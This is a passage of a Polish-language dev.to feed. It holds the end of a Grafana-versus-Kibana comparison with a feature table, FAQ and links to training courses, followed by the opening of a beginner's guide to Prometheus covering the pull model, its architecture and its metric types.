&lt;p&gt;Grafana ma swój odpowiednik pod nazwą Explore, gdzie zadajesz doraźne zapytania do źródła bez budowania dashboardu. Jest bardzo dobry przy metrykach z Prometheusa, ale przy przekopywaniu logów pełnotekstowo Kibana daje wygodniejsze i bogatsze doświadczenie.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wizualizacje i dashboardy
&lt;/h2&gt;

&lt;p&gt;Oba narzędzia budują tablice z wielu paneli i oba wyglądają nowocześnie. Kibana na danych z Elasticsearch potrafi tworzyć rozbudowane wizualizacje: mapy geograficzne, wykresy przepływów, tabele z warunkowym kolorowaniem. Poniżej przykładowy dashboard analizy lotów z heatmapą opóźnień i licznikami.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm523jl5ujwahtek4r7xd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fm523jl5ujwahtek4r7xd.png" alt="Kibana - dashboard analizy lotów: liczba lotów, procent opóźnień i anulowań oraz tabela najbardziej opóźnionych miast z kolorowaniem warunkowym" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kibana potrafi budować bogate dashboardy analityczne na danych z Elasticsearch: liczniki, tabele z heatmapą i wykresy. Tu na danych o lotach.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Różnica jest bardziej w filozofii niż w urodzie. Dashboard Grafany zwykle odpowiada na pytanie "czy system działa poprawnie w tej chwili", a dashboard Kibany na pytanie "co ciekawego wynika z danych, które zebraliśmy". Pierwsze to operacyjny monitoring, drugie to analityka.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Alerty
&lt;/h2&gt;

&lt;p&gt;Grafana ma dojrzały, wbudowany system alertów: definiujesz regułę na dowolnym źródle (na przykład "powiadom, gdy CPU przekroczy 90 procent przez 5 minut") i podpinasz kanały, jak e-mail czy Slack. To jeden z powodów, dla których zespoły operacyjne wybierają Grafanę do monitoringu. W świecie Elastic alerty również istnieją, ale bogatsze reguły bywają częścią płatnych funkcji, a nie samej darmowej Kibany.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tabela porównawcza Grafana vs Kibana
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Kryterium&lt;/th&gt;
&lt;th&gt;Grafana&lt;/th&gt;
&lt;th&gt;Kibana&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Źródła danych&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dziesiątki (Prometheus, InfluxDB, Loki, SQL, Elasticsearch i więcej)&lt;/td&gt;
&lt;td&gt;Tylko Elasticsearch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Główne zastosowanie&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Metryki, monitoring infrastruktury i aplikacji&lt;/td&gt;
&lt;td&gt;Logi, wyszukiwanie i analiza danych tekstowych&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Przechowywanie danych&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Nie przechowuje, tylko wizualizuje&lt;/td&gt;
&lt;td&gt;Ściśle związana z Elasticsearch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wyszukiwanie pełnotekstowe&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ograniczone&lt;/td&gt;
&lt;td&gt;Bardzo mocne (widok Discover, KQL)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Alerty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Wbudowane i rozbudowane w wersji darmowej&lt;/td&gt;
&lt;td&gt;Podstawowe za darmo, bogatsze w wersjach płatnych&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ekosystem&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Neutralny, spina wiele światów&lt;/td&gt;
&lt;td&gt;Elastic Stack (ELK), APM, bezpieczeństwo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Licencja&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Otwartoźródłowa, płatne Enterprise i Cloud&lt;/td&gt;
&lt;td&gt;Otwartoźródłowa, część funkcji płatna&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Kiedy wybrać Grafanę
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Monitorujesz infrastrukturę i aplikacje, a dane masz w Prometheusie, InfluxDB lub podobnych.&lt;/li&gt;
&lt;li&gt;Chcesz jeden panel łączący kilka różnych źródeł naraz.&lt;/li&gt;
&lt;li&gt;Zależy Ci na dojrzałych alertach w wersji darmowej.&lt;/li&gt;
&lt;li&gt;Budujesz nowoczesny stos observability wokół Prometheusa i Loki.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kiedy wybrać Kibanę
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Twoje dane, zwłaszcza logi, już są lub trafią do Elasticsearch.&lt;/li&gt;
&lt;li&gt;Potrzebujesz mocnego, pełnotekstowego przeszukiwania zdarzeń.&lt;/li&gt;
&lt;li&gt;Pracujesz z Elastic Stack, APM albo modułem bezpieczeństwa (SIEM).&lt;/li&gt;
&lt;li&gt;Robisz analitykę na danych tekstowych, nie tylko operacyjny monitoring liczb.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Nie musisz wybierać: często używa się obu
&lt;/h2&gt;

&lt;p&gt;W praktyce w wielu firmach Grafana i Kibana &lt;strong&gt;współistnieją&lt;/strong&gt;. Typowy układ to Grafana do metryk (kondycja serwerów, wydajność aplikacji) i Kibana do logów (dochodzenie przyczyn awarii, audyt zdarzeń). Co więcej, ponieważ Grafana potrafi czytać Elasticsearch, część zespołów oglada te same logi zarówno w Kibanie, jak i na wspólnym dashboardzie Grafany obok metryk. To nie wybór albo-albo, tylko dwa narzędzia, które dobrze się uzupełniają.&lt;/p&gt;

&lt;h2&gt;
  
  
  Podsumowanie
&lt;/h2&gt;

&lt;p&gt;Pytanie "Grafana vs Kibana" najczęściej ma odpowiedź "to zależy od reszty Twojego stosu". Jeśli myślisz metrykami i wieloma źródłami, idź w Grafanę. Jeśli Twój świat to logi w Elasticsearch, idź w Kibanę. A jeśli robisz poważny monitoring produkcyjny, prawie na pewno skończysz z jednym i drugim, bo razem pokrywają cały obraz: liczby i zdarzenia, trend i szczegół, "czy działa" i "dlaczego nie zadziałało".&lt;/p&gt;

&lt;p&gt;Chcesz opanować te narzędzia w praktyce, z ćwiczeniami na prawdziwych serwerach? Poprowadzą Cię nasi trenerzy praktycy. Wybierz szkolenie dopasowane do Twojej strony mocy:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;grafana.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=grafana_vs_kibana&amp;amp;utm_content=banner_grafana" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8xqsz19d97k6ct5vf6oo.jpg" alt="Szkolenie Grafana: dashboardy, metryki i monitoring w praktyce - JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;grafana.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=grafana_vs_kibana&amp;amp;utm_content=link_grafana" rel="noopener noreferrer"&gt;Szkolenie Grafana&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-elasticsearch;elk.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=grafana_vs_kibana&amp;amp;utm_content=banner_elk" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft7cks2tmqdkotnu8i2i0.jpg" alt="Szkolenie Elastic Stack (ELK): Elasticsearch, Logstash i Kibana w praktyce - JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-elasticsearch;elk.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=grafana_vs_kibana&amp;amp;utm_content=link_elk" rel="noopener noreferrer"&gt;Szkolenie Elastic Stack (ELK): Elasticsearch, Logstash, Kibana&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;monitoring_observability_grafana_prometheus_loki_zabbix.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=grafana_vs_kibana&amp;amp;utm_content=banner_observability" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb8r2qgxodo8x8c1p1wvf.jpg" alt="Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki i Zabbix - JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-monitoring;monitoring_observability_grafana_prometheus_loki_zabbix.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=grafana_vs_kibana&amp;amp;utm_content=link_observability" rel="noopener noreferrer"&gt;Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki, Zabbix (wszystko naraz)&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Najczęściej zadawane pytania
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Grafana vs Kibana - co jest lepsze?
&lt;/h3&gt;

&lt;p&gt;Nie ma jednego zwycięzcy, bo narzędzia rozwiązują inne problemy. Grafana jest lepsza do metryk i monitoringu infrastruktury z wielu źródeł jednocześnie. Kibana jest lepsza do przeszukiwania i analizy logów, gdy dane trzymasz w Elasticsearch. W wielu firmach używa się obu naraz.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czy Grafana może czytać dane z Elasticsearch?
&lt;/h3&gt;

&lt;p&gt;Tak. Elasticsearch to jedno z wielu wbudowanych źródeł danych Grafany. Możesz więc trzymać logi w Elasticsearch i rysować z nich dashboardy w Grafanie, obok metryk z Prometheusa. Kibana odwrotnie nie potrafi, bo czyta wyłącznie Elasticsearch.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czy Kibana jest darmowa?
&lt;/h3&gt;

&lt;p&gt;Podstawowa Kibana jest darmowa i otwartoźródłowa, tak samo jak Grafana. Część zaawansowanych funkcji Elastic wymaga płatnej licencji. Grafana w wersji OSS również jest darmowa, a płatne są dodatki Grafana Enterprise i chmura Grafana Cloud.&lt;/p&gt;

&lt;h3&gt;
  
  
  Grafana czy Kibana do logów?
&lt;/h3&gt;

&lt;p&gt;Jeśli logi są w Elasticsearch, do ich przeszukiwania wygodniejsza jest Kibana. Jeśli budujesz stos wokół Prometheusa, naturalnym wyborem na logi jest Loki oglądany w Grafanie. Obie drogi są poprawne, decyduje reszta Twojego stosu.&lt;/p&gt;

</description>
      <category>grafana</category>
      <category>kibana</category>
      <category>monitoring</category>
      <category>devops</category>
    </item>
    <item>
      <title>Co to jest Prometheus? Kompletny przewodnik dla początkujących</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Mon, 24 Aug 2026 15:12:03 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/co-to-jest-prometheus-kompletny-przewodnik-dla-poczatkujacych-54kb</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/co-to-jest-prometheus-kompletny-przewodnik-dla-poczatkujacych-54kb</guid>
      <description>&lt;p&gt;Prometheus i Grafana to najczęstsza para w monitoringu. W tym tekście tłumaczymy Prometheus od zera, na prawdziwych zrzutach z działającego serwera. Oryginał ukazał się na naszym blogu.&lt;/p&gt;

&lt;p&gt;Jeśli &lt;strong&gt;Prometheus&lt;/strong&gt; kojarzy Ci się z tajemniczym narzędziem, o którym mówią zespoły DevOps przy okazji awarii, to trafiłeś dobrze. W tym przewodniku wyjaśnimy od zera, &lt;strong&gt;co to jest Prometheus&lt;/strong&gt;, do czego służy i jak działa, a wszystko pokażemy na przykładach. I nie na diagramach z internetu, tylko na prawdziwych zrzutach z działającej instalacji, którą specjalnie na potrzeby tego artykułu postawiliśmy na własnym serwerze: Prometheus, kilka eksporterów, mała aplikacja z własnymi metrykami oraz Alertmanager. Prometheus i Grafanę widuje się zwykle razem, dlatego ten tekst jest naturalnym uzupełnieniem naszego &lt;a href="https://jsystems.pl/blog/show_post/co_to_jest_grafana_przewodnik_dla_poczatkujacych/" rel="noopener noreferrer"&gt;przewodnika o Grafanie&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/01_graph_hero.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5z25fwazx5k4hj30bngh.png" alt="Prometheus w akcji: wykres tempa zapytań HTTP z podziałem na endpointy, zbudowany z prawdziwych metryk" width="800" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tak wygląda Prometheus w akcji. To jego własny interfejs, a wykres pokazuje tempo zapytań HTTP naszej aplikacji w rozbiciu na poszczególne ścieżki. Wszystkie liczby są prawdziwe. Kliknij zrzut, aby powiększyć.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prometheus w pigułce:&lt;/strong&gt; darmowe, otwartoźródłowe narzędzie do &lt;strong&gt;zbierania i przechowywania metryk&lt;/strong&gt; (liczbowych pomiarów zapisywanych w czasie). Prometheus sam co kilkanaście sekund pobiera dane z monitorowanych systemów (model pull), zapisuje je we własnej bazie szeregów czasowych i pozwala je odpytywać językiem PromQL oraz uruchamiać na ich podstawie alerty. To fundament, na którym stoi większość nowoczesnego monitoringu.&lt;/p&gt;

&lt;p&gt;Z tego artykułu dowiesz się:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;co to jest Prometheus, do czego służy i skąd bierze dane,&lt;/li&gt;
&lt;li&gt;czym jest model pull i dlaczego Prometheus sam pobiera metryki,&lt;/li&gt;
&lt;li&gt;z jakich elementów składa się architektura Prometheusa,&lt;/li&gt;
&lt;li&gt;jak wygląda model danych: metryka, etykiety oraz cztery typy metryk,&lt;/li&gt;
&lt;li&gt;jak czytać interfejs Prometheusa: cele, konfigurację, reguły i alerty,&lt;/li&gt;
&lt;li&gt;jak działa język PromQL, funkcja rate() i histogramy,&lt;/li&gt;
&lt;li&gt;jak Prometheus alarmuje przez Alertmanager,&lt;/li&gt;
&lt;li&gt;czym różni się Prometheus od Grafany, InfluxDB i Zabbixa,&lt;/li&gt;
&lt;li&gt;jak zainstalować Prometheus w minutę i ile to kosztuje.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Co to jest Prometheus?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Prometheus to otwartoźródłowy (open source, czyli o publicznie dostępnym kodzie) system monitoringu, który zbiera i przechowuje metryki, a następnie pozwala je odpytywać i uruchamiać na ich podstawie alerty.&lt;/strong&gt; Mówiąc prościej: Prometheus co kilkanaście sekund odwiedza Twoje serwery i aplikacje, spisuje z nich liczby (ile zajętej pamięci, ile obsłużonych żądań, ile błędów) i zapisuje je ze znacznikiem czasu, żeby dało się później zobaczyć, jak te wartości zmieniały się w czasie.&lt;/p&gt;

&lt;p&gt;Metryka (ang. metric) to po prostu liczbowy pomiar czegoś, zapisywany regularnie. Ciąg takich pomiarów tej samej rzeczy, ułożony w czasie, nazywamy &lt;strong&gt;szeregiem czasowym&lt;/strong&gt; (ang. time series). Prometheus jest właśnie &lt;em&gt;bazą szeregów czasowych&lt;/em&gt; (w skrócie TSDB, od time series database) wyspecjalizowaną w metrykach. To odróżnia go od Grafany, która danych nie przechowuje, tylko je pokazuje. Najprościej zapamiętać podział ról tak: &lt;strong&gt;Prometheus zbiera i trzyma dane, Grafana je rysuje&lt;/strong&gt;. W praktyce prawie zawsze pracują razem.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krótka historia Prometheusa
&lt;/h3&gt;

&lt;p&gt;Prometheus powstał w 2012 roku w firmie SoundCloud, a stworzyli go inżynierowie, którzy wcześniej pracowali w Google i wzorowali się na wewnętrznym systemie monitoringu Google o nazwie Borgmon. W 2015 roku projekt został udostępniony publicznie, a w 2016 dołączył do fundacji &lt;a href="https://www.cncf.io/" rel="noopener noreferrer"&gt;CNCF&lt;/a&gt; (Cloud Native Computing Foundation) jako jej drugi projekt, zaraz po Kubernetesie. W 2018 roku uzyskał status projektu dojrzałego (graduated). Dziś Prometheus jest de facto standardem monitoringu w świecie kontenerów i chmury, a jego format metryk stał się na tyle popularny, że obsługują go setki innych narzędzi.&lt;/p&gt;

&lt;h2&gt;
  
  
  Do czego służy Prometheus? Najczęstsze zastosowania
&lt;/h2&gt;

&lt;p&gt;Prometheus najlepiej czuje się tam, gdzie liczy się bieżący stan techniczny systemu i szybka reakcja na problemy. Oto obszary, w których sprawdza się najczęściej:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Obszar&lt;/th&gt;
&lt;th&gt;Przykłady użycia&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Serwery i systemy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Zużycie procesora, pamięci, dysku i sieci na maszynach, przez eksporter node_exporter.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kontenery i Kubernetes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Monitoring kontenerów Dockera i klastrów Kubernetes. To tutaj Prometheus jest standardem numer jeden.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Aplikacje (metryki własne)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Liczba żądań, błędy, czasy odpowiedzi, długość kolejek, wprost z Twojego kodu.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Niezawodność i SLO&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pilnowanie dostępności usług i celów jakości (SLO), z automatycznym alertem, gdy coś się psuje.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bazy danych i kolejki&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gotowe eksportery dla PostgreSQL, MySQL, Redis, Kafki i wielu innych systemów.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Wspólny mianownik tych zastosowań jest jeden: chcemy widzieć, co dzieje się &lt;strong&gt;teraz&lt;/strong&gt;, i dostać sygnał, zanim użytkownicy zauważą awarię. Do analiz biznesowych i raportów historycznych sięga się raczej po inne narzędzia, o czym powiemy przy porównaniach.&lt;/p&gt;

&lt;h2&gt;
  
  
  Jak Prometheus zbiera dane? Model pull
&lt;/h2&gt;

&lt;p&gt;Najważniejsza rzecz, którą warto zrozumieć na początku, to sposób, w jaki Prometheus zdobywa metryki. Większość ludzi zakłada, że to aplikacje same wysyłają dane do systemu monitoringu. Prometheus działa odwrotnie. To &lt;strong&gt;Prometheus sam łączy się z każdym monitorowanym celem i pobiera z niego metryki&lt;/strong&gt;. Nazywamy to &lt;em&gt;modelem pull&lt;/em&gt; (odpytywania), a samą czynność pobrania metryk słowem &lt;strong&gt;scrape&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/prom_pull_push.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc1hc6t2fi2390rxsqr0d.png" alt="Porównanie modelu pull (Prometheus sam pobiera metryki) z modelem push (aplikacja sama wysyła dane)" width="800" height="409"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Model pull kontra model push. Prometheus siega po metryki sam, zamiast czekać, aż ktoś mu je prześle.&lt;/p&gt;

&lt;p&gt;Każdy monitorowany element udostępnia swoje metryki pod adresem zakończonym na &lt;code&gt;/metrics&lt;/code&gt;, w formie zwykłego tekstu. Prometheus co ustalony czas (domyślnie co 15 sekund, parametr &lt;code&gt;scrape_interval&lt;/code&gt;) odwiedza ten adres i zapisuje odczytane liczby. Ma to jedną świetną zaletę: przy okazji Prometheus od razu wie, czy cel w ogóle żyje. Jeśli pobranie się nie uda, zapisuje o tym specjalną metrykę &lt;code&gt;up&lt;/code&gt; o wartości 0. Monitoring dostępności dostajemy więc za darmo, przy okazji.&lt;/p&gt;

&lt;p&gt;Cała droga danych wygląda tak: eksportery udostępniają metryki, Prometheus je pobiera i zapisuje, a potem albo rysujemy z nich wykresy (najczęściej w Grafanie), albo Prometheus sam uruchamia alert i wysyła go dalej. Prześledźmy to na animacji:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/prom_scrape_flow.gif?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fprhonn9lwn9up0udicg7.gif" alt="Animacja: metryki płyną od serwerów i aplikacji do Prometheusa, a stamtąd do Grafany i do Alertmanagera, który wysyła powiadomienia" width="800" height="567"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ścieżka metryk w modelu pull. Prometheus pobiera dane z celów, rysuje z nich wykresy i alarmuje przez Alertmanager.&lt;/p&gt;

&lt;p&gt;A co z zadaniami, które są zbyt krótkie, żeby Prometheus zdążył je odpytać, na przykład nocny skrypt, który uruchamia się na dziesięć sekund? Do takich przypadków służy &lt;strong&gt;Pushgateway&lt;/strong&gt;: zadanie wypycha swoje metryki do tego pośrednika, a Prometheus pobiera je już z niego, zwyczajnym scrape'em. To wyjątek, nie reguła. Domyślnie zostajemy przy modelu pull.&lt;/p&gt;

&lt;h2&gt;
  
  
  Architektura Prometheusa krok po kroku
&lt;/h2&gt;

&lt;p&gt;Prometheus bywa mylony z całym systemem monitoringu, a jest tylko jego sercem. Wokół niego pracuje kilka współpracujących elementów. Poznajmy je, bo każdy pełni inną rolę:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/prom_arch.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxur3cf37bmhtthkvrv2a.png" alt="Architektura Prometheusa: eksportery, biblioteki klienckie, wykrywanie celów i Pushgateway po lewej, serwer Prometheus w środku, Alertmanager i Grafana po prawej" width="800" height="537"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Architektura Prometheusa. Jeden serwer pobiera metryki, przechowuje je i udostepnia jezykiem PromQL, a alerty i wykresy trafiają do osobnych narzędzi.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Serwer Prometheus&lt;/strong&gt; to główny proces. W środku ma trzy części: mechanizm pobierania metryk (scrape), bazę szeregów czasowych (TSDB), w której je zapisuje, oraz silnik zapytań PromQL wystawiony przez HTTP API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Eksportery (ang. exporters)&lt;/strong&gt; to małe programy, które tłumaczą stan systemu na metryki i udostępniają je pod adresem /metrics. Najpopularniejszy to node_exporter (metryki serwera), a dla kontenerów cAdvisor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Biblioteki klienckie&lt;/strong&gt; pozwalają Twojej własnej aplikacji liczyć i udostępniać metryki. Są gotowe dla Pythona, Javy, Go, .NET i innych języków.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wykrywanie celów (ang. service discovery)&lt;/strong&gt; automatycznie znajduje, co monitorować, na przykład wszystkie pody w Kubernetesie, żeby nie trzeba było wpisywać adresów ręcznie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Alertmanager&lt;/strong&gt; to osobny program, który odbiera alerty od Prometheusa, grupuje je i wysyła powiadomienia na e-mail, Slack, Microsoft Teams czy PagerDuty.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grafana&lt;/strong&gt; to warstwa wizualizacji. Prometheus rysuje wykresy bardzo skromnie, więc do codziennego oglądania metryk podłącza się właśnie &lt;a href="https://jsystems.pl/blog/show_post/co_to_jest_grafana_przewodnik_dla_poczatkujacych/" rel="noopener noreferrer"&gt;Grafanę&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ważna uwaga dla początkujących: serwer Prometheus to jeden proces i jeden plik konfiguracji. Nie potrzebujesz osobnej bazy danych ani klastra, żeby zacząć. To jedna z przyczyn jego popularności.&lt;/p&gt;

&lt;h2&gt;
  
  
  Model danych: metryki, etykiety i typy metryk
&lt;/h2&gt;

&lt;p&gt;Żeby dobrze zrozumieć Prometheus, trzeba poznać sposób, w jaki opisuje dane. Każdy pomiar to nazwa metryki, zestaw etykiet, wartość liczbowa i znacznik czasu. Etykiety (ang. labels) to najważniejszy pomysł całego modelu: pozwalają ciąć tę samą metrykę na wymiary, bez zakładania osobnych metryk na każdy przypadek.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/new_page_resources/images/PROMETHEUS_KURS/prom_data_model.png?v=3" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh9q3ovruq0j8yxco5mov.png" alt="Budowa pojedynczego szeregu czasowego: nazwa metryki, etykiety, wartość i znacznik czasu, oraz cztery typy metryk: counter, gauge, histogram i summary" width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Anatomia szeregu czasowego oraz cztery typy metryk. Etykiety pozwalają jedną metryką opisać wiele wymiarów naraz.&lt;/p&gt;

&lt;p&gt;Weźmy metrykę z naszej demonstracyjnej aplikacji: &lt;code&gt;demo_http_requests_total&lt;/code&gt; liczy obsłużone żądania. Dzięki etykietom &lt;code&gt;method&lt;/code&gt;, &lt;code&gt;endpoint&lt;/code&gt; i &lt;code&gt;status&lt;/code&gt; jednym zapytaniem policzymy żądania w rozbiciu na metodę, ścieżkę i kod odpowiedzi. Warto od razu poznać cztery typy metryk, bo pytają o nie na każdej rozmowie o monitoringu:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Counter (licznik)&lt;/strong&gt; tylko rośnie i zeruje się po restarcie aplikacji. Nadaje się do zliczania zdarzeń: żądań, błędów, wysłanych wiadomości. Prawie zawsze ogląda się go przez funkcję rate(), o czym za chwilę.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gauge (miernik)&lt;/strong&gt; może iść w górę i w dół. To bieżąca wartość, na przykład zajęta pamięć, temperatura albo liczba zadań w kolejce.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Histogram&lt;/strong&gt; wrzuca pomiary do przedziałów (kubełków), na przykład czasy odpowiedzi. Z histogramu wylicza się potem percentyle, czyli odpowiedź na pytanie w stylu "95 procent żądań było szybszych niż ile".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Summary (podsumowanie)&lt;/strong&gt; jest podobny do histogramu, ale kwantyle liczy po stronie aplikacji. W praktyce częściej wybiera się histogram.&lt;/li&gt;
&lt;/ul&gt;

